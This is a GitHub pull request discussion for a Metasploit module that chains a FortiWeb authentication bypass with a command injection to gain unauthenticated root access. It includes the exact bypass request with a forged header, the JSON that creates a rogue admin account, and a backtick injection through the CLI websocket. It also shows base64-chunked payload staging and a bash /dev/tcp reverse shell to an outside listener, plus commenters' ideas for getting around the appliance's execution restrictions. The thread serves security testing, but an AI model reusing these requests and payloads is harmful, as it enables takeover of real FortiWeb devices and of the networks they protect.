Skip to content

Conversation

@sfewer-r7
Copy link
Contributor

@sfewer-r7 sfewer-r7 commented Nov 21, 2025

Overview

This pull request add in a new exploit module targeting Fortinet FortiWeb via CVE-2025-64446 + CVE-2025-58034.

CVE-2025-64446 is an authentication bypass that lets a unauthenticated attacker create a new admin account on the target. For a technical analysis see the watchTowr blog.

CVE-2025-58034 is an authenticated command injection, that allows for root OS command execution. For a technical analysis see our Rapid7 Analysis.

Chained together we get unauthenticated RCE.

To-Do

I have opened this pull request as a draft while several outstanding issue are investigated.

  • The fetch payloads don't work as any dropped binary cannot be made executable and therefor fails to run. I have not yet investigated the cause of this.

  • The session handler on the framework side has been observed to kill the session prematurely (an EOFError for unknown reasons in Msf::Sessions::CommandShell#shell_read). I could prevent this by clobbering the modules self.client HttpClient instance which is modified by the WebSocket mixin. I don't understand why this would impact the session handler though. Using a manually created netcat handler seems to avoids the issue (the session stays alive as expected), so I don't think the issue is on the target side.

    • This was resolved via b8cefb1, turns out I just needed to add a nohup.

Examples

Example 1 (CVE-2025-64446 + CVE-2025-58034)

In this example, CVE-2025-64446 is used to create a new admin account and then CVE-2025-58034 is used
to execute a payload. This chain gives unauthenticated RCE and is the default operation of the exploit module.

msf > use exploit/linux/http/fortinet_fortiweb_rce 
[*] Using configured payload cmd/unix/reverse_bash
msf exploit(linux/http/fortinet_fortiweb_rce) > set RHOST 192.168.86.202
RHOST => 192.168.86.202
msf exploit(linux/http/fortinet_fortiweb_rce) > set LHOST eth0
LHOST => eth0
msf exploit(linux/http/fortinet_fortiweb_rce) > show options 

Module options (exploit/linux/http/fortinet_fortiweb_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, http, socks5, socks5h
   RHOSTS     192.168.86.202   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      443              yes       The target port (TCP)
   SSL        true             no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       Base path
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/reverse_bash):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  eth0             yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Default



View the full module info with the info, or info -d command.

msf exploit(linux/http/fortinet_fortiweb_rce) > check
[*] 192.168.86.202:443 - The target appears to be vulnerable.
msf exploit(linux/http/fortinet_fortiweb_rce) > exploit 
[*] Started reverse TCP handler on 192.168.86.122:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Creating a new admin account via CVE-2025-64446...
[+] New admin account successfully created: isela_fritsch:LpWXiFof
[*] Logging in...
[+] Successfully logged in as isela_fritsch
[*] Executing payload via CVE-2025-58034...
[*] Uploading bootstrap payload chunk 1 of 4...
[*] Uploading bootstrap payload chunk 2 of 4...
[*] Uploading bootstrap payload chunk 3 of 4...
[*] Uploading bootstrap payload chunk 4 of 4...
[*] Amalgamating bootstrap payload chunks...
[*] Executing bootstrap payload...
[+] Finished.
[*] Command shell session 1 opened (192.168.86.122:4444 -> 192.168.86.202:19470) at 2025-11-21 11:33:33 +0000

id
uid=0(root) gid=0(root)
uname -a
Linux FortiWeb 6.1.62 #1 SMP Fri Aug 22 21:26:25 UTC 2025 x86_64 GNU/Linux
cat /VERSION
8.0.1-B0047
exit
[*] 192.168.86.202 - Command shell session 1 closed.

Example 2 (CVE-2025-58034)

In this example, the attacker has existing admin credentials, so only CVE-2025-58034 is used
to execute a payload.

msf exploit(linux/http/fortinet_fortiweb_rce) > set FortiWebAdminUsername hax0r
FortiWebAdminUsername => hax0r
msf exploit(linux/http/fortinet_fortiweb_rce) > set FortiWebAdminPassword hax0r
FortiWebAdminPassword => hax0r
msf exploit(linux/http/fortinet_fortiweb_rce) > exploit 
[*] Started reverse TCP handler on 192.168.86.122:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[+] Using existing admin credentials: hax0r:hax0r
[*] Logging in...
[+] Successfully logged in as hax0r
[*] Executing payload via CVE-2025-58034...
[*] Uploading bootstrap payload chunk 1 of 4...
[*] Uploading bootstrap payload chunk 2 of 4...
[*] Uploading bootstrap payload chunk 3 of 4...
[*] Uploading bootstrap payload chunk 4 of 4...
[*] Amalgamating bootstrap payload chunks...
[*] Executing bootstrap payload...
[+] Finished.
[*] Command shell session 2 opened (192.168.86.122:4444 -> 192.168.86.202:3684) at 2025-11-21 11:34:57 +0000

id
uid=0(root) gid=0(root)
uname -a
Linux FortiWeb 6.1.62 #1 SMP Fri Aug 22 21:26:25 UTC 2025 x86_64 GNU/Linux
cat /VERSION
8.0.1-B0047
exit
[*] 192.168.86.202 - Command shell session 2 closed.

@bwatters-r7 bwatters-r7 self-assigned this Nov 21, 2025
…e parent dies it tears down our payload child process
@sfewer-r7
Copy link
Contributor Author

Regarding the Fetch payloads not working (at least on 8.0.1 which is what I am testing against). The problem is we cannot mark the dropped stager bin as executable, so when the fetch payload drops /tmp/rwEMPmOeJn (as an example), it will then try to do chmod +x /tmp/rwEMPmOeJn. However this will return:

chmod: /tmp/rwEMPmOeJn: Permission denied

And as we cannot make the bin executable, the payload fails. Looking at the dmsg we see a clue:

[67034.729456] chmod(2) is denied, /tmp/rwEMPmOeJn mode 81ed chmod 19533

and if we open the kernel in IDA we see this is coming from the kernel (so no AppArmour, or any other way we can try to disable)

image

Given the unix payloads work (I successfully tested cmd/unix/reverse_bash, cmd/unix/reverse_openssl, cmd/unix/reverse_python), I think we can live without the linux payloads for this pull request.

@sfewer-r7 sfewer-r7 marked this pull request as ready for review November 21, 2025 16:28
@sfewer-r7
Copy link
Contributor Author

Changing from Draft to Open, as I have resolved/investigated the two blockers.

@zwanski2019
Copy link

this exploit is so sneaky it must’ve learned from me 😂🔧

@jvoisin
Copy link
Contributor

jvoisin commented Nov 22, 2025

A dumb trick to bypass the lack of chmod is to copy a valid executable binary, and to overwrite its content, eg. cp /bin/sh /tmp/backdoor_exe; cat /tmp/payload >| /tmp/backdoor_exe.

* FortiWeb `7.0.0` through `7.0.11` (Patched in `7.0.12` and above)

The command injection `CVE-2025-58034` affects the following versions (Note the `7.6` and `7.4` branches are very
slightly different when compared to the patch versions for `CVE-2025-64446`:
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

"very slightly"?

@sfewer-r7
Copy link
Contributor Author

sfewer-r7 commented Nov 23, 2025

A dumb trick to bypass the lack of chmod is to copy a valid executable binary, and to overwrite its content, eg. cp /bin/sh /tmp/backdoor_exe; cat /tmp/payload >| /tmp/backdoor_exe.

Thanks @jvoisin that's a good suggestion, unfortunately it does not work as expected. If I experiment with the following:

ls -al /tmp/rwEMPmOeJn
-rw-r--r--    1 root     root           250 Nov 21 02:05 /tmp/rwEMPmOeJn

chmod +x /tmp/rwEMPmOeJn
chmod: /tmp/rwEMPmOeJn: Permission denied

cp /bin/sh /tmp/backdoor_exe
ls -al /tmp/backdoor_exe
-rwxr-xr-x    1 root     root        656664 Nov 23 03:39 /tmp/backdoor_exe

cat /tmp/rwEMPmOeJn >| /tmp/backdoor_exe

ls -al /tmp/backdoor_exe
-rwxr-xr-x    1 root     root           250 Nov 23 03:40 /tmp/backdoor_exe

/tmp/backdoor_exe
sh: /tmp/backdoor_exe: Permission denied

We get an "Permission denied" after trying to execute the bin. Inspecting dmesg I can see this:

[74581.505304] file access is denied, /tmp/backdoor_exe, when 3 by sh 7544

And looking at the kernel in IDA, I see this is coming from the Linux Integrity Measurement Architecture (IMA) appraisal feature. We can inspect the kernel command line and see ima_appraise=enforce:

cat /proc/cmdline
rw panic=5 clocksource=tsc root=/dev/ram0 eagerfpu=on mitigations=off integrity_audit=1 ima_policy=tcb ima_appraise=enforce ima_hash=sha256 ima_template=ima-ng  BOOT_IMAGE=vmlinuz ramdisk_size=870400  crashkernel=192M softlockup_panic=0 hung_task_panic=0 initrd=/rootfs.gz tpm_tis.interrupts=0 pcie_aspm=off

and I can see the IMA attributes on the legit file, for example:

getfattr -m - -d /bin/sh
getfattr: Removing leading '/' from absolute path names
# file: bin/sh
security.ima=0sBASoXx/8IREPNF+d4g7BTROsxP+m4ZH+6olMRvhzjbXokg==

I don't know enough about IMA to give any more context.

quick follow-on: Manually trying to add a new attribute via either evmctl ima_hash /tmp/backdoor_exe or setfattr -n security.ima -v <HASH> /tmp/backdoor_exe were not successful.

@jvoisin
Copy link
Contributor

jvoisin commented Nov 23, 2025

Wow, that's pretty neat!

@bwatters-r7
Copy link
Contributor

I cannot seem to get a session?

console output

msf exploit(linux/http/fortinet_fortiweb_rce) > show options

Module options (exploit/linux/http/fortinet_fortiweb_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5h,
                                         sapni, socks4, http, socks5
   RHOSTS     10.5.132.243     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-met
                                         asploit.html
   RPORT      443              yes       The target port (TCP)
   SSL        true             no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       Base path
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/reverse_bash):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.5.135.201     yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Default



View the full module info with the info, or info -d command.

msf exploit(linux/http/fortinet_fortiweb_rce) > run
[+] bash -c '0<&89-;exec 89<>/dev/tcp/10.5.135.201/4444;sh <&89 >&89 2>&89'
[*] Started reverse TCP handler on 10.5.135.201:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
####################
# Request:
####################
POST /api/v2.0/cmdb/system/admin%3F/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: 10.5.132.243
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
CGIINFO: eyJ1c2VybmFtZSI6ImFkbWluIiwicHJvZm5hbWUiOiJwcm9mX2FkbWluIiwidmRvbSI6InJvb3QiLCJsb2dpbm5hbWUiOiJhZG1pbiJ9
Content-Type: application/json
Content-Length: 11

{"data":{}}
####################
# Response:
####################
HTTP/1.1 500 Internal Server Error
Date: Mon, 24 Nov 2025 22:03:17 GMT
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Content-Security-Policy: script-src 'self'; default-src 'self'; style-src 'self' 'unsafe-inline'; font-src 'self'; img-src 'self' data:; connect-src 'self'; frame-ancestors 'self'; object-src 'none'; base-uri 'self'; upgrade-insecure-requests; block-all-mixed-content;
X-Content-Type-Options: nosniff
Connection: close
Transfer-Encoding: chunked
Content-Type: application/json

{ "results": { "errcode": -56, "message": "Empty value isn't allowed." } }
[+] The target appears to be vulnerable.
[*] Creating a new admin account via CVE-2025-64446...
####################
# Request:
####################
POST /api/v2.0/cmdb/system/admin%3F/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: 10.5.132.243
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
CGIINFO: eyJ1c2VybmFtZSI6ImFkbWluIiwicHJvZm5hbWUiOiJwcm9mX2FkbWluIiwidmRvbSI6InJvb3QiLCJsb2dpbm5hbWUiOiJhZG1pbiJ9
Content-Type: application/json
Content-Length: 761

{"data":{"q_type":1,"name":"hosea.walker","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","last-name":"","first-name":"","email-address":"","phone-number":"","mobile-number":"","hidden":0,"domains":"root","sz_dashboard":-1,"type":"local-user","type_val":"0","admin-usergrp_val":"0","wildcard_val":"0","accprofile-override_val":"0","sshkey":"","passwd-set-time":0,"history-password-pos":0,"history-password0":"","history-password1":"","history-password2":"","history-password3":"","history-password4":"","history-password5":"","history-password6":"","history-password7":"","history-password8":"","history-password9":"","force-password-change":"disable","force-password-change_val":"0","password":"uRgOqmml"}}
####################
# Response:
####################
HTTP/1.1 200 OK
Date: Mon, 24 Nov 2025 22:03:17 GMT
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Content-Security-Policy: script-src 'self'; default-src 'self'; style-src 'self' 'unsafe-inline'; font-src 'self'; img-src 'self' data:; connect-src 'self'; frame-ancestors 'self'; object-src 'none'; base-uri 'self'; upgrade-insecure-requests; block-all-mixed-content;
X-Content-Type-Options: nosniff
Transfer-Encoding: chunked
Content-Type: application/json

{ "results": { "can_view": 0, "q_ref": 0, "can_clone": 1, "q_type": 1, "name": "hosea.walker", "access-profile": "prof_admin", "access-profile_val": "1008", "trusthostv4": "0.0.0.0\/0 ", "trusthostv6": "::\/0 ", "last-name": "", "first-name": "", "email-address": "", "phone-number": "", "mobile-number": "", "hidden": 0, "domains": "root ", "gui-global-menu-favorites": "", "gui-vdom-menu-favorites": "", "sz_dashboard": 8, "sz_gui-dashboard": 7, "type": "local-user", "type_val": "0", "admin-usergrp": "", "admin-usergrp_val": "0", "password": "ENC XXXX", "wildcard": "disable", "wildcard_val": "0", "accprofile-override": "disable", "accprofile-override_val": "0", "fortiai": "disable", "fortiai_val": "0", "sshkey": "", "passwd-set-time": 1764021797, "history-password-pos": 1, "history-password0": "ENC XXXX", "history-password1": "ENC XXXX", "history-password2": "ENC XXXX", "history-password3": "ENC XXXX", "history-password4": "ENC XXXX", "history-password5": "ENC XXXX", "history-password6": "ENC XXXX", "history-password7": "ENC XXXX", "history-password8": "ENC XXXX", "history-password9": "ENC XXXX", "force-password-change": "disable", "force-password-change_val": "0", "feature-info-ver": "" } }
[+] New admin account successfully created: hosea.walker:uRgOqmml
[*] Logging in...
####################
# Request:
####################
POST /logincheck HTTP/1.1
Host: 10.5.132.243
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 40

username=hosea.walker&secretkey=uRgOqmml
####################
# Response:
####################
HTTP/1.1 200 OK
Date: Mon, 24 Nov 2025 22:03:17 GMT
Set-Cookie: APSCOOKIE_FWEB_8672793038565212270=Era=0&Payload=7tlcJ30XlrUPcVeQDk4jmncbVs2E5+MumJXyLKZYmWvZlYKqiYqXJYPKL0bRQB3X%0aIfQ/pWA1/VUgjKUBVlmNhnqyxXiNTZiGWbps92TH9Ni6UfJWKtjU25hfjXueGHbK%0a8rOKWxJvXlw=%0a&AuthHash=1LYzXmb1Fd2nhi8m94EQnvgd6uU=%0a; path=/; secure; HttpOnly; SameSite=Strict, APSCOOKIE_VDOM_8672793038565212270=root; path=/; secure; SameSite=Strict
Content-Security-Policy: script-src 'self' 'nonce-FBkFL2Q9NxpWVWYWbzxlCKs79RnVmI22';default-src 'self'; style-src 'self' 'unsafe-inline'; font-src 'self'; img-src 'self' data:; connect-src 'self'; frame-ancestors 'none'; object-src 'none'; base-uri 'self'; upgrade-insecure-requests; block-all-mixed-content;
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Cache-Control: max-age=0, no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 110
Content-Type: text/html;charset=utf-8

<script language="javascript" nonce="FBkFL2Q9NxpWVWYWbzxlCKs79RnVmI22">
document.location="/root/";
</script>

[+] Successfully logged in as hosea.walker
[*] Executing payload via CVE-2025-58034...
[*] Using bootstrap payload: rm -f /tmp/Zg2v*;nohup bash -c '0<&88-;exec 88<>/dev/tcp/10.5.135.201/4444;sh <&88 >&88 2>&88' &
[*] Uploading bootstrap payload chunk 1 of 4...
[*] Executing OS command: echo -n cm0gLWYgL3RtcC9aZzJ2Kjtub2h1cCBiYXNoIC|tee /tmp/Zg2v1
[*] Connecting to the CLI websocket...
####################
# Request:
####################
GET /ws/cli/open HTTP/1.1
Host: 10.5.132.243
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Cookie: APSCOOKIE_FWEB_8672793038565212270=Era=0&Payload=7tlcJ30XlrUPcVeQDk4jmncbVs2E5+MumJXyLKZYmWvZlYKqiYqXJYPKL0bRQB3X%0aIfQ/pWA1/VUgjKUBVlmNhnqyxXiNTZiGWbps92TH9Ni6UfJWKtjU25hfjXueGHbK%0a8rOKWxJvXlw=%0a&AuthHash=1LYzXmb1Fd2nhi8m94EQnvgd6uU=%0a; APSCOOKIE_VDOM_8672793038565212270=root; 
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: J/bx+E9SasmFSSGryLilVA==


####################
# Response:
####################
HTTP/1.1 101 Switching Protocols
Sec-WebSocket-Accept: g1aaorp2VZdQjTZlgafw9CZMqcQ=
Connection: Upgrade
Upgrade: websocket


[+] Successfully connected to the CLI websocket
FortiWeb # 
[*] Running CLI command: config user saml-user
c
onfig user saml-user

FortiWeb (saml-user) # 
[*] Running CLI command: edit "`echo -n cm0gLWYgL3RtcC9aZzJ2Kjtub2h1cCBiYXNoIC|tee /tmp/Zg2v1`"
ed
it "`echo -n cm0gLWYgL3RtcC9aZzJ2Kjtub2h1cCBiYXNoIC|tee /tmp/Zg2v1`"

FortiWeb (`echo -n cm0gL~Y) # 
[*] Running CLI command: set entityID http://yNZex
s
et entityID http://yNZex

FortiWeb (`echo -n cm0gL~Y) # 
[*] Running CLI command: set service-path /ZjTAIK
set
 service-path /ZjTAIK

FortiWeb (`echo -n cm0gL~Y) # 
[*] Running CLI command: set enforce-signing disable
set en
force-signing disable

FortiWeb (`echo -n cm0gL~Y) # 
[*] Running CLI command: set slo-bind post
s
et slo-bind post

FortiWeb (`echo -n cm0gL~Y) # 
[*] Running CLI command: set slo-path /XKAILnPR
s
et slo-path /XKAILnPR

FortiWeb (`echo -n cm0gL~Y) # 
[*] Running CLI command: set sso-bind post
s
et sso-bind post

FortiWeb (`echo -n cm0gL~Y) # 
[*] Running CLI command: set sso-path /AmXZY
s
et sso-path /AmXZY

FortiWeb (`echo -n cm0gL~Y) # 
[*] Running CLI command: end
[*] Uploading bootstrap payload chunk 2 of 4...
[*] Executing OS command: echo -n 1jICcwPCY4OC07ZXhlYyA4ODw+L2Rldi90Y3Av|tee /tmp/Zg2v2
[*] Connecting to the CLI websocket...
####################
# Request:
####################
GET /ws/cli/open HTTP/1.1
Host: 10.5.132.243
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Cookie: APSCOOKIE_FWEB_8672793038565212270=Era=0&Payload=7tlcJ30XlrUPcVeQDk4jmncbVs2E5+MumJXyLKZYmWvZlYKqiYqXJYPKL0bRQB3X%0aIfQ/pWA1/VUgjKUBVlmNhnqyxXiNTZiGWbps92TH9Ni6UfJWKtjU25hfjXueGHbK%0a8rOKWxJvXlw=%0a&AuthHash=1LYzXmb1Fd2nhi8m94EQnvgd6uU=%0a; APSCOOKIE_VDOM_8672793038565212270=root; 
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dj8oRT9yjBFa9xSGCsAbWA==


####################
# Response:
####################
HTTP/1.1 101 Switching Protocols
Sec-WebSocket-Accept: yNdITdSRreg4ZTvnnmcuv8MmMUM=
Connection: Upgrade
Upgrade: websocket


[+] Successfully connected to the CLI websocket
FortiWeb # 
[*] Running CLI command: config user saml-user
c
onfig user saml-user

FortiWeb (saml-user) # 
[*] Running CLI command: edit "`echo -n 1jICcwPCY4OC07ZXhlYyA4ODw+L2Rldi90Y3Av|tee /tmp/Zg2v2`"
e
dit "`echo -n 1jICcwPCY4OC07ZXhlYyA4ODw+L2Rldi90Y3Av|tee /tmp/Zg2v2`"

FortiWeb (`echo -n 1jICc~P) # 
[*] Running CLI command: set entityID http://bayVYZk
s
et entityID http://bayVYZk

FortiWeb (`echo -n 1jICc~P) # 
[*] Running CLI command: set service-path /dqPN
set servi
ce-path /dqPN

FortiWeb (`echo -n 1jICc~P) # 
[*] Running CLI command: set enforce-signing disable
se
t enforce-signing disable

FortiWeb (`echo -n 1jICc~P) # 
[*] Running CLI command: set slo-bind post
set slo-b
ind post

FortiWeb (`echo -n 1jICc~P) # 
[*] Running CLI command: set slo-path /anvoo
set sl
o-path /anvoo

FortiWeb (`echo -n 1jICc~P) # 
[*] Running CLI command: set sso-bind post
set ss
o-bind post

FortiWeb (`echo -n 1jICc~P) # 
[*] Running CLI command: set sso-path /YdfmyRI
set sso
-path /YdfmyRI

FortiWeb (`echo -n 1jICc~P) # 
[*] Running CLI command: end
[*] Uploading bootstrap payload chunk 3 of 4...
[*] Executing OS command: echo -n MTAuNS4xMzUuMjAxLzQ0NDQ7c2ggPCY4OCA+Jj|tee /tmp/Zg2v3
[*] Connecting to the CLI websocket...
####################
# Request:
####################
GET /ws/cli/open HTTP/1.1
Host: 10.5.132.243
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Cookie: APSCOOKIE_FWEB_8672793038565212270=Era=0&Payload=7tlcJ30XlrUPcVeQDk4jmncbVs2E5+MumJXyLKZYmWvZlYKqiYqXJYPKL0bRQB3X%0aIfQ/pWA1/VUgjKUBVlmNhnqyxXiNTZiGWbps92TH9Ni6UfJWKtjU25hfjXueGHbK%0a8rOKWxJvXlw=%0a&AuthHash=1LYzXmb1Fd2nhi8m94EQnvgd6uU=%0a; APSCOOKIE_VDOM_8672793038565212270=root; 
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: UQ6O/AUpMQZ+4A+nb2SuNw==


####################
# Response:
####################
HTTP/1.1 101 Switching Protocols
Sec-WebSocket-Accept: ABAX1XGCedNF7GXtBraK0hPooMI=
Connection: Upgrade
Upgrade: websocket


[+] Successfully connected to the CLI websocket
FortiWeb # 
[*] Running CLI command: config user saml-user
con
fig user saml-user

FortiWeb (saml-user) # 
[*] Running CLI command: edit "`echo -n MTAuNS4xMzUuMjAxLzQ0NDQ7c2ggPCY4OCA+Jj|tee /tmp/Zg2v3`"
ed
it "`echo -n MTAuNS4xMzUuMjAxLzQ0NDQ7c2ggPCY4OCA+Jj|tee /tmp/Zg2v3`"

FortiWeb (`echo -n MTAuN~4) # 
[*] Running CLI command: set entityID http://uMDIPQA
se
t entityID http://uMDIPQA

FortiWeb (`echo -n MTAuN~4) # 
[*] Running CLI command: set service-path /CYjvHWqd
se
t service-path /CYjvHWqd

FortiWeb (`echo -n MTAuN~4) # 
[*] Running CLI command: set enforce-signing disable
set
 enforce-signing disable

FortiWeb (`echo -n MTAuN~4) # 
[*] Running CLI command: set slo-bind post
set sl
o-bind post

FortiWeb (`echo -n MTAuN~4) # 
[*] Running CLI command: set slo-path /dJvT
se
t slo-path /dJvT

FortiWeb (`echo -n MTAuN~4) # 
[*] Running CLI command: set sso-bind post
s
et sso-bind post

FortiWeb (`echo -n MTAuN~4) # 
[*] Running CLI command: set sso-path /dlflD
set
 sso-path /dlflD

FortiWeb (`echo -n MTAuN~4) # 
[*] Running CLI command: end
[*] Uploading bootstrap payload chunk 4 of 4...
[*] Executing OS command: echo -n g4IDI+Jjg4JyAm|tee /tmp/Zg2v4
[*] Connecting to the CLI websocket...
####################
# Request:
####################
GET /ws/cli/open HTTP/1.1
Host: 10.5.132.243
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Cookie: APSCOOKIE_FWEB_8672793038565212270=Era=0&Payload=7tlcJ30XlrUPcVeQDk4jmncbVs2E5+MumJXyLKZYmWvZlYKqiYqXJYPKL0bRQB3X%0aIfQ/pWA1/VUgjKUBVlmNhnqyxXiNTZiGWbps92TH9Ni6UfJWKtjU25hfjXueGHbK%0a8rOKWxJvXlw=%0a&AuthHash=1LYzXmb1Fd2nhi8m94EQnvgd6uU=%0a; APSCOOKIE_VDOM_8672793038565212270=root; 
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: jZz9C+9pmQ7Sj6BPu5aqlw==


####################
# Response:
####################
HTTP/1.1 101 Switching Protocols
Sec-WebSocket-Accept: TNyqf7I6otLiltPmw+FwoD07CuY=
Connection: Upgrade
Upgrade: websocket


[+] Successfully connected to the CLI websocket
FortiWeb # 
[*] Running CLI command: config user saml-user
c
onfig user saml-user

FortiWeb (saml-user) # 
[*] Running CLI command: edit "`echo -n g4IDI+Jjg4JyAm|tee /tmp/Zg2v4`"
e
dit "`echo -n g4IDI+Jjg4JyAm|tee /tmp/Zg2v4`"

FortiWeb (`echo -n g4IDI~J) # 
[*] Running CLI command: set entityID http://TzclTYOY
s
et entityID http://TzclTYOY

FortiWeb (`echo -n g4IDI~J) # 
[*] Running CLI command: set service-path /MGUJJF
s
et service-path /MGUJJF

FortiWeb (`echo -n g4IDI~J) # 
[*] Running CLI command: set enforce-signing disable
s
et enforce-signing disable

FortiWeb (`echo -n g4IDI~J) # 
[*] Running CLI command: set slo-bind post
s
et slo-bind post

FortiWeb (`echo -n g4IDI~J) # 
[*] Running CLI command: set slo-path /zCmia
s
et slo-path /zCmia

FortiWeb (`echo -n g4IDI~J) # 
[*] Running CLI command: set sso-bind post
s
et sso-bind post

FortiWeb (`echo -n g4IDI~J) # 
[*] Running CLI command: set sso-path /XgduO
s
et sso-path /XgduO

FortiWeb (`echo -n g4IDI~J) # 
[*] Running CLI command: end
[*] Amalgamating bootstrap payload chunks...
[*] Executing OS command: cat /tmp/Zg2v*|tee /tmp/Zg2v
[*] Connecting to the CLI websocket...
####################
# Request:
####################
GET /ws/cli/open HTTP/1.1
Host: 10.5.132.243
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Cookie: APSCOOKIE_FWEB_8672793038565212270=Era=0&Payload=7tlcJ30XlrUPcVeQDk4jmncbVs2E5+MumJXyLKZYmWvZlYKqiYqXJYPKL0bRQB3X%0aIfQ/pWA1/VUgjKUBVlmNhnqyxXiNTZiGWbps92TH9Ni6UfJWKtjU25hfjXueGHbK%0a8rOKWxJvXlw=%0a&AuthHash=1LYzXmb1Fd2nhi8m94EQnvgd6uU=%0a; APSCOOKIE_VDOM_8672793038565212270=root; 
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: cRKh8XLn0KNgu9Iq+F7QCw==


####################
# Response:
####################
HTTP/1.1 101 Switching Protocols
Sec-WebSocket-Accept: SYC7ienncl/WeTAGkMxvMEg3ppM=
Connection: Upgrade
Upgrade: websocket


[+] Successfully connected to the CLI websocket
FortiWeb # 
[*] Running CLI command: config user saml-user
config
 user saml-user

FortiWeb (saml-user) # 
[*] Running CLI command: edit "`cat /tmp/Zg2v*|tee /tmp/Zg2v`"
e
dit "`cat /tmp/Zg2v*|tee /tmp/Zg2v`"

FortiWeb (`cat /tmp/Zg2v~|) # 
[*] Running CLI command: set entityID http://cPPaOS
s
et entityID http://cPPaOS

FortiWeb (`cat /tmp/Zg2v~|) # 
[*] Running CLI command: set service-path /iCvp
set service-path /iCvp

FortiWeb (`cat /tmp/Zg2v~|) # 
[*] Running CLI command: set enforce-signing disable
set enforce-signing disable

FortiWeb (`cat /tmp/Zg2v~|) # 
[*] Running CLI command: set slo-bind post
set slo-bind post

FortiWeb (`cat /tmp/Zg2v~|) # 
[*] Running CLI command: set slo-path /UglQuF
set slo-path /UglQuF

FortiWeb (`cat /tmp/Zg2v~|) # 
[*] Running CLI command: set sso-bind post
set sso-bind post

FortiWeb (`cat /tmp/Zg2v~|) # 
[*] Running CLI command: set sso-path /dlTtVsyk
set sso-path /dlTtVsyk

FortiWeb (`cat /tmp/Zg2v~|) # 
[*] Running CLI command: end
[*] Executing bootstrap payload...
[*] Executing OS command: cat /tmp/Zg2v|base64 -d|sh
[*] Connecting to the CLI websocket...
####################
# Request:
####################
GET /ws/cli/open HTTP/1.1
Host: 10.5.132.243
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Cookie: APSCOOKIE_FWEB_8672793038565212270=Era=0&Payload=7tlcJ30XlrUPcVeQDk4jmncbVs2E5+MumJXyLKZYmWvZlYKqiYqXJYPKL0bRQB3X%0aIfQ/pWA1/VUgjKUBVlmNhnqyxXiNTZiGWbps92TH9Ni6UfJWKtjU25hfjXueGHbK%0a8rOKWxJvXlw=%0a&AuthHash=1LYzXmb1Fd2nhi8m94EQnvgd6uU=%0a; APSCOOKIE_VDOM_8672793038565212270=root; 
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: fF0g2j3EjrGpgjORlSZahQ==


####################
# Response:
####################
HTTP/1.1 101 Switching Protocols
Sec-WebSocket-Accept: 5hByRvcUL9jdMbIN0AvWBMBrJBo=
